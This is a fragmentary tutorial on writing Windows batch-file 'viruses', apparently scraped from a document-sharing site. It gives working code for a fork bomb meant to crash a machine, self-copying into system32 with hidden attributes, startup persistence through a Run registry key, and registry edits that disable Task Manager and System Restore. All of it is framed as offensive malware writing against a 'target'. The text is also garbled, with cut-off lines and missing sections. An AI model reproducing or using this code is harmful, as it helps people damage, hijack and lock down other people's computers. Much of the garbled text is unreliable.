Documente Academic
Documente Profesional
Documente Cultură
ial program that you need in order for you to make one.Batch file is a command t
hat is executed by the computer line by line (just like C or java, etc.), but ba
tch language is easier to understand than C. Batch is very fast, lets say that y
ou made a batch virus that infects files..It can infect a thousand files in just
5 seconds.
INDEX:
-
echo,message review
memory dump virus
force shutdown
file infecting
file moving
file copying
file deleting
file hiding
task killing virus
launch virus every startup
swap left click and right click mouse buttons
disabling system restore
disabling task manager
disabling folder options
disabling run
disabling right click on desktop
So let's begin by constructing a batch file, this is not a virus yet, it will ju
st print a message.
@echo off
echo "im a virus programmer"
pause
type this code on your notepad then save it as .bat extension then launch it on
your computer.
@echo off - this will not display the directory.
echo - use to print strings.
pause - waits for the user to press any key before exiting.
now another way of displaying a message is this:
@echo off
msg * im a virus programmer
this will show an alert.
msg * - used to display an alert message.
------------------------------------------------------------------------------------------------------------So first lets begin by constructing a batch file that will dump your memory, cau
sing you computer to crash
@echo off
:a
start %0
goto :a
this will loop and loop infinitely, opening a bunch of command prompts, this wil
l cause a memory dump,your computer will surely slow down. The only solution for
this memory dump is to restart your computer using the power button,restart but
copying file/s
@echo off
copy /y file.bat "c:\windows\system32"
copy - command for copying file/s
/y - if the file already exist, don't prompt the user if he want to overwrite
C:\windows\system32 - destination
hiding files - this is use of you want to apply hide attribute to a certain file
/s
@echo off
attrib +h "c:\windows\notepad.exe"
attrib - attribute
+h - use to hide a file, -h if you want to unhide a file
c:\windows\notepad.exe - the destination of the file we want to hide,notepad.exe
is the target file
-----------------------------------------------------------------------------------------------------------Now let's make a batch file that always launch when windows starts(i love it)
now there are two ways on how will you make your batch file runs at start up, on
e is creating a registry key, and two is copying the file at startup folder then
hiding it so that it will not appear when the user checks the startup folder.
now lets create a registry key that will launch your batch file on start up
@echo off
copy file.bat "C:\windows\system32"
attrib +h "C:\windows\system32\file.bat"
reg add hklm\software\microsoft\windows\currentversion\run /v filedotbat /t reg_
sz /d C:\windows\system32\file.bat /f
now this will first copy it self on system32 folder,hide it self then it will ma
ke a registry key that will make it start during windows start up.
/v
/t
/d
/f
------------------------------------------------------------------------------------------------------------now lets create batch file that will disable vital functions of the system
DISABLING TASKMANAGER
@echo off
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v Di
sableTaskMgr /t REG_DWORD /d 1 /f
DISABLING SYSTEM RESTORE
@echo off
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore
SR /t REG_DWORD /d 1 /f
/v Disable
now your virus will not be confused anymore, since you have placed %systemdrive%
telling that 'okay i dont know where is the operating system is installed,so it
is up to you now to find our target' then the virus would say 'roger that!'. No
w it doesn't matter anymore if the operating system is installed in C or not..If
the batch file didn't saw drive C then it will jump to D, then if it didn't fou
nd D, it will go to E - Z
if you already mastered this tutorial, please do not share this knowledge to oth
ers, it is forbidden.
[Last]
~syst3mc4rn4g3